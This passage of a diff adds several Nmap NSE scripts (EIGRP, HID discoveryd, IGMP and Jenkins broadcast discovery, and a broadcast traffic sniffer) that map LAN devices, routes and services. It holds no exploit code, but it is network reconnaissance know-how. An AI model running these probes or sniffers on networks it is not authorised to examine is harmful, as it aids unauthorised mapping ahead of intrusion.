+ local ifacelist = nmap.list_interfaces()
+ for _, iface in ipairs(ifacelist) do
+ -- Match all ethernet interfaces
+ if iface.address and iface.link=="ethernet" and
+ iface.address:match("%d+%.%d+%.%d+%.%d+") then
+
+ stdnse.debug1("Will use %s interface.", iface.shortname)
+ table.insert(interfaces, iface)
+ end
+ end
+ end
+
+ -- If user didn't provide an Autonomous System value, we listen fro multicast
+ -- HELLO router announcements to get one.
+ if not as then
+ -- We use a table for condvar
+ local astab = {}
+ stdnse.debug1("No A.S value provided, will sniff for one.")
+ -- We should iterate over interfaces
+ for _, interface in pairs(interfaces) do
+ local co = stdnse.new_thread(asListener, interface, timeout, astab)
+ lthreads[co] = true
+ end
+ local condvar = nmap.condvar(astab)
+ -- Wait for the listening threads to finish
+ repeat
+ for thread in pairs(lthreads) do
+ if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
+ end
+ if ( next(lthreads) ) then
+ condvar("wait")
+ end
+ until next(lthreads) == nil;
+
+ if #astab > 0 then
+ stdnse.debug1("Will use %s A.S value.", astab[1])
+ as = astab[1]
+ else
+ return fail("Couldn't get an A.S value.")
+ end
+ end
+
+ -- Craft Hello packet
+ eigrp_hello = eigrp.EIGRP:new(eigrp.OPCODE.HELLO, as)
+ -- K params
+ eigrp_hello:addTLV({ type = eigrp.TLV.PARAM, k = k, htime = 15})
+ -- Software version
+ eigrp_hello:addTLV({ type = eigrp.TLV.SWVER, majv = 12, minv = 4, majtlv = 1, mintlv = 2})
+
+ -- On each interface, launch the listening thread and send the Hello packet.
+ lthreads = {}
+ for _, interface in pairs(interfaces) do
+ local co = stdnse.new_thread(eigrpListener, interface, timeout, responses)
+ -- We insert a small delay before sending the Hello so the listening
+ -- thread doesn't miss updates.
+ stdnse.sleep(0.5)
+ lthreads[co] = true
+ eigrpSend(interface, tostring(eigrp_hello))
+ end
+
+ local condvar = nmap.condvar(responses)
+ -- Wait for the listening threads to finish
+ repeat
+ condvar("wait")
+ for thread in pairs(lthreads) do
+ if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
+ end
+ until next(lthreads) == nil;
+
+ -- Output the useful info from the responses
+ if #responses > 0 then
+ for _, response in pairs(responses) do
+ result = {}
+ result.name = response.src
+ if target.ALLOW_NEW_TARGETS then target.add(response.src) end
+ table.insert(result, "Interface: " .. response.interface)
+ table.insert(result, ("A.S: %d"):format(response.as))
+ table.insert(result, ("Virtual Router ID: %d"):format(response.routerid))
+ -- Output routes information TLVs
+ for _, tlv in pairs(response.tlvs) do
+ route = {}
+ -- We are only interested in Internal or external routes
+ if tlv.type == eigrp.TLV.EXT then
+ route.name = "External route"
+ for name, value in pairs(eigrp.EXT_PROTO) do
+ if value == tlv.eproto then
+ table.insert(route, ("Protocol: %s"):format(name))
+ break
+ end
+ end
+ table.insert(route, ("Originating A.S: %s"):format(tlv.oas))
+ table.insert(route, ("Originating Router ID: %s"):format(tlv.orouterid))
+ if target.ALLOW_NEW_TARGETS then target.add(tlv.orouterid) end
+ table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
+ table.insert(route, ("Next hop: %s"):format(tlv.nexth))
+ table.insert(result, route)
+ elseif tlv.type == eigrp.TLV.INT then
+ route.name = "Internal route"
+ table.insert(route, ("Destination: %s/%d"):format(tlv.dst, tlv.mask))
+ table.insert(route, ("Next hop: %s"):format(tlv.nexth))
+ table.insert(result, route)
+ end
+ end
+ table.insert(output, result)
+ end
+ if #output>0 and not target.ALLOW_NEW_TARGETS then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, output)
+ end
+end
diff --git a/scripts/broadcast-hid-discoveryd.nse b/scripts/broadcast-hid-discoveryd.nse
new file mode 100644
index 0000000..ed7ce7a
--- /dev/null
+++ b/scripts/broadcast-hid-discoveryd.nse
@@ -0,0 +1,100 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local target = require "target"
+local os = require "os"
+local table = require "table"
+
+description = [[
+Discovers HID devices on a LAN by sending a discoveryd network broadcast probe.
+
+For more information about HID discoveryd, see:
+* http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html
+* https://github.com/coldfusion39/VertXploit
+]]
+
+---
+-- @usage nmap --script broadcast-hid-discoveryd
+-- @usage nmap --script broadcast-hid-discoveryd --script-args timeout=15s
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-hid-discoveryd:
+-- | MAC: 00:06:8E:00:00:00; Name: NoEntry; IP Address: 10.123.123.1; Model: EH400; Version: 2.3.1.603 (04/23/2012)
+-- | MAC: 00:06:8E:FF:FF:FF; Name: NoExit; IP Address: 10.123.123.123; Model: EH400; Version: 2.3.1.603 (04/23/2012)
+-- |_ Use --script-args=newtargets to add the results as targets
+--
+-- @args broadcast-hid-discoveryd.address
+-- address to which the probe packet is sent. (default: 255.255.255.255)
+-- @args broadcast-hid-discoveryd.timeout
+-- socket timeout (default: 5s)
+---
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "broadcast", "safe"}
+
+prerule = function() return ( nmap.address_family() == "inet") end
+
+local arg_address = stdnse.get_script_args(SCRIPT_NAME .. ".address")
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+
+action = function()
+
+ local host = { ip = arg_address or "255.255.255.255" }
+ local port = { number = 4070, protocol = "udp" }
+ local socket = nmap.new_socket("udp")
+
+ socket:set_timeout(500)
+
+ -- send two packets, just in case
+ for i=1,2 do
+ local status = socket:sendto(host, port, "discover;013;")
+ if ( not(status) ) then
+ return stdnse.format_output(false, "Failed to send broadcast probe")
+ end
+ end
+
+ local timeout = tonumber(arg_timeout) or ( 20 / ( nmap.timing_level() + 1 ) )
+ local results = {}
+ local stime = os.time()
+
+ -- listen until timeout
+ repeat
+ local status, data = socket:receive()
+ if ( status ) then
+ local hid_pkt = data:match("^discovered;.*$")
+ if ( hid_pkt ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ local hid_data = stringaux.strsplit(";", hid_pkt)
+ if #hid_data == 10 and hid_data[1] == 'discovered' and tonumber(hid_data[2]) == string.len(hid_pkt) then
+ stdnse.print_debug(2, "Received HID discoveryd response from %s (%s bytes)", rhost, string.len(hid_pkt))
+ local str = ("MAC: %s; Name: %s; IP Address: %s; Model: %s; Version: %s (%s)"):format(
+ hid_data[3], hid_data[4], hid_data[5], hid_data[7], hid_data[8], hid_data[9])
+ table.insert( results, str )
+ if target.ALLOW_NEW_TARGETS then
+ target.add(hid_data[5])
+ end
+ end
+ end
+ end
+ until( os.time() - stime > timeout )
+ socket:close()
+
+ local output = stdnse.output_table()
+ if #results > 0 then
+ -- remove duplicates
+ local hash = {}
+ for _,v in ipairs(results) do
+ if (not hash[v]) then
+ table.insert( output, v )
+ hash[v] = true
+ end
+ end
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return output
+ end
+end
diff --git a/scripts/broadcast-igmp-discovery.nse b/scripts/broadcast-igmp-discovery.nse
new file mode 100644
index 0000000..9359ee5
--- /dev/null
+++ b/scripts/broadcast-igmp-discovery.nse
@@ -0,0 +1,412 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local packet = require "packet"
+local ipOps = require "ipOps"
+local target = require "target"
+local coroutine = require "coroutine"
+local string = require "string"
+local stringaux = require "stringaux"
+local io = require "io"
+
+description = [[
+Discovers targets that have IGMP Multicast memberships and grabs interesting information.
+
+The scripts works by sending IGMP Membership Query message to the 224.0.0.1 All
+Hosts multicast address and listening for IGMP Membership Report messages. The
+script then extracts all the interesting information from the report messages
+such as the version, group, mode, source addresses (depending on the version).
+
+The script defaults to sending an IGMPv2 Query but this could be changed to
+another version (version 1 or 3) or to sending queries of all three version. If
+no interface was specified as a script argument or with the -e option, the
+script will proceed to sending queries through all the valid ethernet
+interfaces.
+]]
+
+---
+-- @args broadcast-igmp-discovery.timeout Time to wait for reports in seconds.
+-- Defaults to <code>5</code> seconds.
+--
+-- @args broadcast-igmp-discovery.version IGMP version to use. Could be
+-- <code>1</code>, <code>2</code>, <code>3</code> or <code>all</code>. Defaults to <code>2</code>
+--
+-- @args broadcast-igmp-discovery.interface Network interface to use.
+--
+-- @args broadcast-igmp-discovery.mgroupnamesdb Database with multicast group names
+--
+--@usage
+-- nmap --script broadcast-igmp-discovery
+-- nmap --script broadcast-igmp-discovery -e wlan0
+-- nmap --script broadcast-igmp-discovery
+-- --script-args 'broadcast-igmp-discovery.version=all, broadcast-igmp-discovery.timeout=3'
+--
+--@output
+--Pre-scan script results:
+-- | broadcast-igmp-discovery:
+-- | 192.168.2.2
+-- | Interface: tap0
+-- | Version: 3
+-- | Group: 239.1.1.1
+-- | Mode: EXCLUDE
+-- | Description: Organization-Local Scope (rfc2365)
+-- | Group: 239.1.1.2
+-- | Mode: EXCLUDE
+-- | Description: Organization-Local Scope (rfc2365)
+-- | Group: 239.1.1.44
+-- | Mode: INCLUDE
+-- | Description: Organization-Local Scope (rfc2365)
+-- | Sources:
+-- | 192.168.31.1
+-- | 192.168.1.3
+-- | Interface: wlan0
+-- | Version: 2
+-- | Group: 239.255.255.250
+-- | Description: Organization-Local Scope (rfc2365)
+-- | 192.168.1.3
+-- | Interface: wlan0
+-- | Version: 2
+-- | Group: 239.255.255.253
+-- | Description: Organization-Local Scope (rfc2365)
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+--
+-- The Multicast Group names DB can be created by the following script:
+--
+-- #!/usr/bin/awk -f
+-- BEGIN { FS="<|>"; }
+-- /<record/ { r=1; addr1=""; addr2=""; rfc=""; }
+-- /<addr>.*-.*<\/addr>/ { T=$3; FS="-"; $0=T; addr1=$1; addr2=$2; FS="<|>"; }
+-- /<addr>[^-]*<\/addr>/ { addr1=$3; addr2=$3; }
+-- /<description>/ { desc=$3; }
+-- /<xref type=\"rfc\"/ { T=$2; FS="\""; $0=T; rfc=" (" $4 ")"; FS="<|>"; }
+-- /<\/record/ { r=0; if (addr1) { print addr1 "\t" addr2 "\t" desc rfc; } }
+--
+-- wget -O- http://www.iana.org/assignments/multicast-addresses/multicast-addresses.xml | \
+-- ./extract-mg-names >nselib/data/mgroupnames.db
+
+
+prerule = function()
+ if nmap.address_family() ~= 'inet' then
+ stdnse.verbose1("is IPv4 only.")
+ return false
+ end
+ if ( not(nmap.is_privileged()) ) then
+ stdnse.verbose1("not running due to lack of privileges.")
+ return false
+ end
+ return true
+end
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe", "broadcast"}
+
+--- Parses a raw igmp packet and return a structured packet.
+-- @param data string IGMP Raw packet.
+-- @return response table Structured igmp packet.
+local igmpParse = function(data)
+ local index
+ local response = {}
+ local group, source
+ -- Report type (0x12 == v1, 0x16 == v2, 0x22 == v3)
+ response.type, index = string.unpack(">B", data, index)
+ if response.type == 0x12 or response.type == 0x16 then
+ -- Max response time, Checksum, Multicast group
+ response.maxrt, response.checksum, response.group, index = string.unpack(">B I2 c4", data, index)
+ response.group = ipOps.str_to_ip(response.group)
+ return response
+ elseif response.type == 0x22 and #data >= 12 then
+ -- Skip reserved byte, Checksum, Skip reserved bytes, Number of groups
+ response.checksum, response.ngroups, index = string.unpack(">x I2 xx I2", data, index)
+ response.groups = {}
+ for i=1,response.ngroups do
+ group = {}
+ -- Mode is either INCLUDE or EXCLUDE
+ group.mode,
+ -- Auxiliary data length in the group record (in 32bits units)
+ group.auxdlen,
+ -- Number of source addresses
+ group.nsrc,
+ group.address, index = string.unpack(">BB I2 c4", data, index)
+ group.address = ipOps.str_to_ip(group.address)
+ group.src = {}
+ for i=1,group.nsrc do
+ source, index = string.unpack(">c4", data, index)
+ table.insert(group.src, ipOps.str_to_ip(source))
+ end
+ -- Skip auxiliary data
+ index = index + group.auxdlen
+ -- Insert group
+ table.insert(response.groups, group)
+ end
+ return response
+ end
+end
+
+--- Listens for IGMP Membership reports packets.
+-- @param interface Interface to listen on.
+-- @param timeout Amount of time to listen for.
+-- @param responses table to put valid responses into.
+local igmpListener = function(interface, timeout, responses)
+ local condvar = nmap.condvar(responses)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local p, igmp_raw, status, l3data, response, _
+ local devices = {}
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, 'ip proto 2')
+
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ p = packet.Packet:new(l3data, #l3data)
+ igmp_raw = string.sub(l3data, p.ip_hl*4 + 1)
+ if p then
+ -- check the first byte before sending to the parser
+ -- response 0x12 == Membership Response version 1
+ -- response 0x16 == Membership Response version 2
+ -- response 0x22 == Membership Response version 3
+ local igmptype = igmp_raw:byte(1)
+ if igmptype == 0x12 or igmptype == 0x16 or igmptype == 0x22 then
+ response = igmpParse(igmp_raw)
+ if response then
+ response.src = p.ip_src
+ response.interface = interface.shortname
+ -- Many hosts return more than one same response message
+ -- this is to not output duplicates
+ if not devices[response.src..response.type..(response.group or response.ngroups)] then
+ devices[response.src..response.type..(response.group or response.ngroups)] = true
+ table.insert(responses, response)
+ end
+ end
+ end
+ end
+ end
+ end
+ condvar("signal")
+end
+
+--- Crafts a raw IGMP packet.
+-- @param interface Source interface of the packet.
+-- @param version IGMP version. Could be 1, 2 or 3.
+-- @return string Raw IGMP packet.
+local igmpRaw = function(interface, version)
+ -- Only 1, 2 and 3 are valid IGMP versions
+ if version ~= 1 and version ~= 2 and version ~= 3 then
+ stdnse.debug1("IGMP version %s doesn't exist.", version)
+ return
+ end
+
+ -- Let's craft an IGMP Membership Query
+ local igmp_raw = string.pack(">BB I2 I4",
+ 0x11, -- Membership Query, same for all versions
+ version == 1 and 0 or 0x16, -- Max response time: 10 Seconds, for version 2 and 3
+ 0, -- Checksum, calculated later
+ 0 -- Multicast Address: 0.0.0.0
+ )
+
+ if version == 3 then
+ igmp_raw = igmp_raw .. string.pack(">BB I2",
+ 0, -- Reserved = 4 bits (Should be zeroed)
+ -- Supress Flag = 1 bit
+ -- QRV (Querier's Robustness Variable) = 3 bits
+ -- all are set to 0
+ 0x10, -- QQIC (Querier's Query Interval Code) in seconds = Set to 0 to get insta replies.
+ 0x0001 -- Number of sources (in the next arrays) = 1 ( Our IP only)
+ )
+ .. ipOps.ip_to_str(interface.address) -- Source = Our IP address
+ end
+
+ igmp_raw = igmp_raw:sub(1,2) .. string.pack(">I2", packet.in_cksum(igmp_raw)) .. igmp_raw:sub(5)
+
+ return igmp_raw
+end
+
+
+local igmpQuery;
+--- Sends an IGMP Membership query.
+-- @param interface Network interface to send on.
+-- @param version IGMP version. Could be 1, 2, 3 or all.
+igmpQuery = function(interface, version)
+ local srcip = interface.address
+ local dstip = "224.0.0.1"
+
+ if version == 'all' then
+ -- Small pause to let listener begin and not miss reports.
+ stdnse.sleep(0.5)
+ igmpQuery(interface, 3)
+ igmpQuery(interface, 2)
+ igmpQuery(interface, 1)
+ else
+ local igmp_raw = igmpRaw(interface, version)
+
+ local ip_raw = stdnse.fromhex( "45c00040ed780000010218bc0a00c8750a00c86b") .. igmp_raw
+ local igmp_packet = packet.Packet:new(ip_raw, ip_raw:len())
+ igmp_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
+ igmp_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
+ igmp_packet:ip_set_len(#igmp_packet.buf)
+ igmp_packet:ip_count_checksum()
+
+ local sock = nmap.new_dnet()
+ sock:ethernet_open(interface.device)
+
+ -- Ethernet IPv4 multicast, our ethernet address and type IP
+ local eth_hdr = "\x01\x00\x5e\x00\x00\x01" .. interface.mac .. "\x08\x00"
+ sock:ethernet_send(eth_hdr .. igmp_packet.buf)
+ sock:ethernet_close()
+ end
+end
+
+-- Function to compare weight of an IGMP response message.
+-- Used to sort elements in responses table.
+local respCompare = function(a,b)
+ return ipOps.todword(a.src) + a.type + (a.ngroups or ipOps.todword(a.group))
+ < ipOps.todword(b.src) + b.type + (b.ngroups or ipOps.todword(b.group))
+end
+
+local mgroup_names_fetch = function(filename)
+ local groupnames_db = {}
+
+ local file = io.open(filename, "r")
+ if not file then
+ return false
+ end
+
+ for l in file:lines() do
+ groupnames_db[#groupnames_db + 1] = stringaux.strsplit("\t", l)
+ end
+
+ file:close()
+ return groupnames_db
+end
+
+local mgroup_name_identify = function(db, ip)
+ --stdnse.debug1("'%s'", ip)
+ for _, mg in ipairs(db) do
+ local ip1 = mg[1]
+ local ip2 = mg[2]
+ local desc = mg[3]
+ --stdnse.debug1("try: %s <= %s <= %s (%s)", ip1, ip, ip2, desc)
+ if (not ipOps.compare_ip(ip, "lt", ip1) and not ipOps.compare_ip(ip2, "lt", ip)) then
+ --stdnse.debug1("found! %s <= %s <= %s (%s)", ip1, ip, ip2, desc)
+ return desc
+ end
+ end
+ return false
+end
+
+action = function(host, port)
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ local version = stdnse.get_script_args(SCRIPT_NAME .. ".version") or 2
+ local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ timeout = (timeout or 7) * 1000
+ if version ~= 'all' then
+ version = tonumber(version)
+ end
+
+ local responses, results, interfaces, lthreads = {}, {}, {}, {}
+ local result, grouptable, sourcetable
+
+ local group_names_fname = stdnse.get_script_args(SCRIPT_NAME .. ".mgroupnamesdb") or
+ nmap.fetchfile("nselib/data/mgroupnames.db")
+ local mg_names_db = group_names_fname and mgroup_names_fetch(group_names_fname)
+
+ -- Check the interface
+ interface = interface or nmap.get_interface()
+ if interface then
+ -- Get the interface information
+ interface = nmap.get_interface_info(interface)
+ if not interface then
+ return stdnse.format_output(false, ("Failed to retrieve %s interface information."):format(interface))
+ end
+ interfaces = {interface}
+ stdnse.debug1("Will use %s interface.", interface.shortname)
+ else
+ local ifacelist = nmap.list_interfaces()
+ for _, iface in ipairs(ifacelist) do
+ -- Match all ethernet interfaces
+ if iface.address and iface.link=="ethernet" and
+ iface.address:match("%d+%.%d+%.%d+%.%d+") then
+
+ stdnse.debug1("Will use %s interface.", iface.shortname)
+ table.insert(interfaces, iface)
+ end
+ end
+ end
+
+
+ -- We should iterate over interfaces
+ for _, interface in pairs(interfaces) do
+ local co = stdnse.new_thread(igmpListener, interface, timeout, responses)
+ igmpQuery(interface, version)
+ lthreads[co] = true
+ end
+
+ local condvar = nmap.condvar(responses)
+ -- Wait for the listening threads to finish
+ repeat
+ for thread in pairs(lthreads) do
+ if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
+ end
+ if ( next(lthreads) ) then
+ condvar("wait")
+ end
+ until next(lthreads) == nil;
+
+ -- Output useful info from the responses
+ if #responses > 0 then
+ -- We should sort our list here.
+ -- This is useful to have consistent results for tools such as Ndiff.
+ table.sort(responses, respCompare)
+
+ for _, response in pairs(responses) do
+ result = {}
+ result.name = response.src
+ table.insert(result, "Interface: " .. response.interface)
+ -- Add to new targets if newtargets script arg provided
+ if target.ALLOW_NEW_TARGETS then target.add(response.src) end
+ if response.type == 0x12 then
+ table.insert(result, "Version: 1")
+ table.insert(result, "Multicast group: ".. response.group)
+ elseif response.type == 0x16 then
+ table.insert(result, "Version: 2")
+ table.insert(result, "Group: ".. response.group)
+ local mg_desc = mgroup_name_identify(mg_names_db, response.group)
+ if mg_desc then
+ table.insert(result, "Description: ".. mg_desc)
+ end
+ elseif response.type == 0x22 then
+ table.insert(result, "Version: 3")
+ for _, group in pairs(response.groups) do
+ grouptable = {}
+ grouptable.name = "Group: " .. group.address
+ if group.mode == 0x01 then
+ table.insert(grouptable, "Mode: INCLUDE")
+ elseif group.mode == 0x02 then
+ table.insert(grouptable, "Mode: EXCLUDE")
+ end
+ local mg_desc = mgroup_name_identify(mg_names_db, group.address)
+ if mg_desc then
+ table.insert(grouptable, "Description: ".. mg_desc)
+ end
+ if group.nsrc > 0 then
+ sourcetable = {}
+ sourcetable.name = "Sources:"
+ table.insert(sourcetable, group.src)
+ table.insert(grouptable, sourcetable)
+ end
+ table.insert(result, grouptable)
+ end
+ end
+ table.insert(results, result)
+ end
+ if #results>0 and not target.ALLOW_NEW_TARGETS then
+ table.insert(results,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, results)
+ end
+end
diff --git a/scripts/broadcast-jenkins-discover.nse b/scripts/broadcast-jenkins-discover.nse
new file mode 100644
index 0000000..be9ae06
--- /dev/null
+++ b/scripts/broadcast-jenkins-discover.nse
@@ -0,0 +1,94 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local os = require "os"
+local table = require "table"
+local rand = require "rand"
+
+description = [[
+Discovers Jenkins servers on a LAN by sending a discovery broadcast probe.
+
+For more information about Jenkins auto discovery, see:
+* https://wiki.jenkins.io/display/JENKINS/Auto-discovering+Jenkins+on+the+network
+]]
+
+---
+-- @usage nmap --script broadcast-jenkins-discover
+-- @usage nmap --script broadcast-jenkins-discover --script-args timeout=15s
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-jenkins:
+-- | Version: 2.60.2; Server ID: d5e31b7a9d69cf3c89cc799c23199760; Slave Port: 35928
+-- |_ Version: 2.60.2; Server ID: b98e8e1b862c3eecb14e8be0028cf4ee; Slave Port: 45435
+--
+-- @args broadcast-jenkins.address
+-- address to which the probe packet is sent. (default: 255.255.255.255)
+-- @args broadcast-jenkins.timeout
+-- socket timeout (default: 5s)
+---
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "broadcast", "safe"}
+
+prerule = function() return ( nmap.address_family() == "inet") end
+
+local arg_address = stdnse.get_script_args(SCRIPT_NAME .. ".address")
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+
+action = function()
+
+ local host = { ip = arg_address or "255.255.255.255" } -- broadcast
+ -- local host = { ip = arg_address or "239.77.124.213" } -- multicast
+ local port = { number = 33848, protocol = "udp" }
+ local socket = nmap.new_socket("udp")
+
+ socket:set_timeout(500)
+
+ -- send two packets, just in case
+ local probe = rand.random_string(10)
+ for i=1,2 do
+ local status = socket:sendto(host, port, probe)
+ if ( not(status) ) then
+ return stdnse.format_output(false, "Failed to send broadcast probe")
+ end
+ end
+
+ local timeout = tonumber(arg_timeout) or ( 20 / ( nmap.timing_level() + 1 ) )
+ local results = {}
+ local stime = os.time()
+
+ -- listen until timeout
+ repeat
+ local status, data = socket:receive()
+ if ( status ) then
+ local jenkins_pkt = data:match("^<hudson>(.+)</hudson>")
+ if ( jenkins_pkt ) then
+ local status, _, _, rhost, _ = socket:get_info()
+ local version = jenkins_pkt:match("<version>(.*)</version>")
+ local server_id = jenkins_pkt:match("<server%-id>(.*)</server%-id>")
+ local slave_port = jenkins_pkt:match("<slave%-port>(.*)</slave%-port>")
+ if version and server_id and slave_port then
+ stdnse.print_debug(2, "Received Jenkins discovery response from %s (%s bytes)", rhost, string.len(jenkins_pkt))
+ local str = ("Version: %s; Server ID: %s; Slave Port: %s"):format(version, server_id, slave_port)
+ table.insert( results, str )
+ end
+ end
+ end
+ until( os.time() - stime > timeout )
+ socket:close()
+
+ local response = stdnse.output_table()
+ if #results > 0 then
+ -- remove duplicates
+ local hash = {}
+ for _,v in ipairs(results) do
+ if (not hash[v]) then
+ table.insert( response, v )
+ hash[v] = true
+ end
+ end
+ return response
+ end
+end
diff --git a/scripts/broadcast-listener.nse b/scripts/broadcast-listener.nse
new file mode 100644
index 0000000..3d0cf38
--- /dev/null
+++ b/scripts/broadcast-listener.nse
@@ -0,0 +1,297 @@
+local _G = require "_G"
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Sniffs the network for incoming broadcast communication and
+attempts to decode the received packets. It supports protocols like CDP, HSRP,
+Spotify, DropBox, DHCP, ARP and a few more. See packetdecoders.lua for more
+information.
+
+The script attempts to sniff all ethernet based interfaces with an IPv4 address
+unless a specific interface was given using the -e argument to Nmap.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-listener
+-- nmap --script broadcast-listener -e eth0
+--
+-- @output
+-- | broadcast-listener:
+-- | udp
+-- | Netbios
+-- | ip query
+-- | 192.168.0.60 \x01\x02__MSBROWSE__\x02\x01
+-- | DHCP
+-- | srv ip cli ip mask gw dns
+-- | 192.168.0.1 192.168.0.5 255.255.255.0 192.168.0.1 192.168.0.18, 192.168.0.19
+-- | DropBox
+-- | displayname ip port version host_int namespaces
+-- | 39000860 192.168.0.107 17500 1.8 39000860 28814673, 29981099
+-- | HSRP
+-- | ip version op state prio group secret virtual ip
+-- | 192.168.0.254 0 Hello Active 110 1 cisco 192.168.0.253
+-- | ether
+-- | CDP
+-- | ip id platform version
+-- | ? Router cisco 7206VXR 12.3(23)
+-- | ARP Request
+-- | sender ip sender mac target ip
+-- | 192.168.0.101 00:04:30:26:DA:C8 192.168.0.60
+-- |_ 192.168.0.1 90:24:1D:C8:B9:AE 192.168.0.60
+--
+-- @args broadcast-listener.timeout specifies the amount of seconds to sniff
+-- the network interface. (default 30s)
+--
+-- The script attempts to discover all available ipv4 network interfaces,
+-- unless the Nmap -e argument has been supplied, and then starts sniffing
+-- packets on all of the discovered interfaces. It sets a BPF filter to exclude
+-- all packets that have the interface address as source or destination in
+-- order to capture broadcast traffic.
+--
+-- Incoming packets can either be either layer 3 (usually UDP) or layer 2.
+-- Depending on the layer the packet is matched against a packet decoder loaded
+-- from the external nselib/data/packetdecoder.lua file. A more detailed
+-- description on how the decoders work can be found in that file.
+-- In short, there are two different types of decoders: udp and ether.
+-- The udp decoders get triggered by the destination port number, while the
+-- ether decoders are triggered by a pattern match. The port or pattern is used
+-- as an index in a table containing functions to process packets and fetch
+-- the decoded results.
+--
+
+
+--
+-- Version 0.1
+-- Created 07/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/25/2011 - v0.2 -
+-- * added more documentation
+-- * added getInterfaces code to detect available
+-- interfaces.
+-- * corrected bug that would fail to load
+-- decoders if not in a relative directory.
+
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+---
+-- loads the decoders from file
+--
+-- @param fname string containing the name of the file
+-- @return status true on success false on failure
+-- @return decoders table of decoder functions on success
+-- @return err string containing the error message on failure
+loadDecoders = function(fname)
+ -- resolve the full, absolute, path
+ local abs_fname = nmap.fetchfile(fname)
+
+ if ( not(abs_fname) ) then
+ return false, ("Failed to load decoder definition (%s)"):format(fname)
+ end
+
+ local env = setmetatable({Decoders = {}}, {__index = _G});
+ local file = loadfile(abs_fname, "t", env)
+ if(not(file)) then
+ stdnse.debug1("Couldn't load decoder file: %s", fname)
+ return false, "Couldn't load decoder file: " .. fname
+ end
+
+ file()
+
+ local d = env.Decoders
+
+ if ( d ) then return true, d end
+ return false, "Failed to load decoders"
+end
+
+---
+-- Starts sniffing the selected interface for packets with a destination that
+-- is not explicitly ours (broadcast, multicast etc.)
+--
+-- @param iface table containing <code>name</code> and <code>address</code>
+-- @param Decoders the decoders class loaded externally
+-- @param decodertab the "result" table to which all discovered items are
+-- reported
+sniffInterface = function(iface, Decoders, decodertab)
+ local condvar = nmap.condvar(decodertab)
+ local sock = nmap.new_socket()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-listener.timeout"))
+
+ -- default to 30 seconds, if nothing else was set
+ timeout = (timeout or 30) * 1000
+
+ -- We want all packets that aren't explicitly for us
+ sock:pcap_open(iface.name, 1500, true, ("!host %s"):format(iface.address))
+
+ -- Set a short timeout so that we can timeout in time if needed
+ sock:set_timeout(100)
+
+ local start_time = nmap.clock_ms()
+ while( nmap.clock_ms() - start_time < timeout ) do
+ local status, _, _, data = sock:pcap_receive()
+
+ if ( status ) then
+ local p = packet.Packet:new( data, #data )
+
+ -- if we have an UDP-based broadcast, we should have a proper packet
+ if ( p and p.udp_dport and ( decodertab.udp[p.udp_dport] or Decoders.udp[p.udp_dport] ) ) then
+ local uport = p.udp_dport
+ if ( not(decodertab.udp[uport]) ) then
+ decodertab.udp[uport] = Decoders.udp[uport]:new()
+ end
+ stdnse.new_thread(decodertab.udp[uport].process, decodertab.udp[uport], data)
+ -- The packet was decoded successfully but we don't have a valid decoder
+ -- Report this
+ elseif ( p and p.udp_dport ) then
+ stdnse.debug2("No decoder for dst port %d", p.udp_dport)
+ -- we don't have a packet, so this is most likely something layer2 based
+ -- in that case, check the ether Decoder table for pattern matches
+ else
+ -- attempt to find a match for a pattern
+ local hex = stdnse.tohex(data)
+ local decoded = false
+ for match, _ in pairs(Decoders.ether) do
+ -- attempts to match the "raw" packet against a filter
+ -- supplied in each ethernet packet decoder
+ if ( hex:match(match) ) then
+ stdnse.debug1("Packet matched '%s'", match)
+ if ( not(decodertab.ether[match]) ) then
+ decodertab.ether[match] = Decoders.ether[match]:new()
+ end
+ -- start a new decoding thread. This way, if something gets foobared
+ -- the whole script doesn't break, only the packet decoding for that
+ -- specific packet.
+ stdnse.new_thread( decodertab.ether[match].process, decodertab.ether[match], data )
+ decoded = true
+ end
+ end
+ -- no decoder was found for this layer2 packet
+ if ( not(decoded) and #data > 10 ) then
+ stdnse.debug1("No decoder for packet hex: %s", stdnse.tohex(data:sub(1,10)))
+ end
+ end
+ end
